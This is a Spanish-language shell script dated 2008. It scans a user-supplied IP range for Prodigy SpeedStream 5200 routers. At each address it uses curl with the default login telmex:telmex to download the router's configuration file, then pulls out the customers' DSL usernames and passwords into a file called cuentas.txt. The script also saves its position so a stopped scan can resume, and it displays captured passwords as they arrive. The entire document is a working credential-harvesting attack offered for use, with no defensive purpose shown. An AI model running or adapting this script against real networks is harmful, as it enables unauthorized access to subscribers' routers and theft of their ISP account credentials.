#!/bin/sh 
echo "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n"
echo "PRODIGY SPEEDSTREAM 5200 CUENTA DEFAULT / CONFIG DISCLOSURE\r\n"
echo "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++"
echo "[ss5200.sh] v1                   hkm@hakim.ws    10/2008\r\n"
echo "Guarda credenciales dsl de ruteadores 5200 prodigy en cuentas.txt"
echo "Detener con CTRL-C se puede resumir.\r\n\r\n"
if [ -f ultimo.txt ]
then
    RANGO=`cat ultimo.txt`;
    echo "[?] Presiona [enter] para resumir desde $RANGO o "
    read  -p  "[?] Introduce el rango o IP inicial (ej 189.135) : " RES;
    if [ "$RES" != "" ]
    then
        RANGO=$RES
	rm ultimo.txt;
    fi
else
  read  -p  "[?] Introduce el rango o IP inicial (ej 189.135) : " RANGO;
fi
aaa=${RANGO%%.*}; rest=${RANGO#*.}
bbb=${rest%%.*}; rest=${rest#*.}
ccc=${rest%%.*}; rest=${rest#*.}
ddd=${rest%%.*};
if [ -f cuentas.txt ]
then
    echo "[+] Ultimos passwords capturados :"
    else
    touch cuentas.txt;
fi
tail -f cuentas.txt &
xterm -T "[ss5200.sh] - Obteniendo passwords..." -e watch -d tail cuentas.txt &

if [ $ddd != $ccc ]
then
    for i in $(seq $ccc 254);
        do for k in $(seq $ddd 254);
            do echo "[+] Intentando: $aaa.$bbb.$i.$k";
            echo $aaa.$bbb.$i.$k > ultimo.txt;
curl --ignore-content-length --connect-timeout 3 --max-time 20 -u telmex:telmex http://$aaa.$bbb.$i.$k/.cfg 2>/dev/null  | sed s/[{}]/\\n/g | grep un= | grep -v telmex | grep -v admin >> cuentas.txt; 
            ddd=1;
            done
        ccc=1;
        done
else if [ $ccc != $bbb ]
then
    for i in $(seq $ccc 254);
        do for k in $(seq 1 254);
            do echo "[+] Intentando: $aaa.$bbb.$i.$k";
            echo $aaa.$bbb.$i.$k > ultimo.txt;
curl --ignore-content-length --connect-timeout 3 --max-time 20 -u telmex:telmex http://$aaa.$bbb.$i.$k/.cfg 2>/dev/null  | sed s/[{}]/\\n/g | grep un= | grep -v telmex | grep -v admin >> cuentas.txt; 
            ddd=1;
            done
        ccc=1;
        done
else
for i in $(seq 1 254);
  do for k in $(seq 1 254);
    do echo "[+] Intentando: $aaa.$bbb.$i.$k";
    echo $RANGO.$i.$k > ultimo.txt;
curl --ignore-content-length --connect-timeout 3 --max-time 20 -u telmex:telmex http://$aaa.$bbb.$i.$k/.cfg 2>/dev/null  | sed s/[{}]/\\n/g | grep un= | grep -v telmex | grep -v admin >> cuentas.txt; 
    done
  done
pkill tail;
fi
fi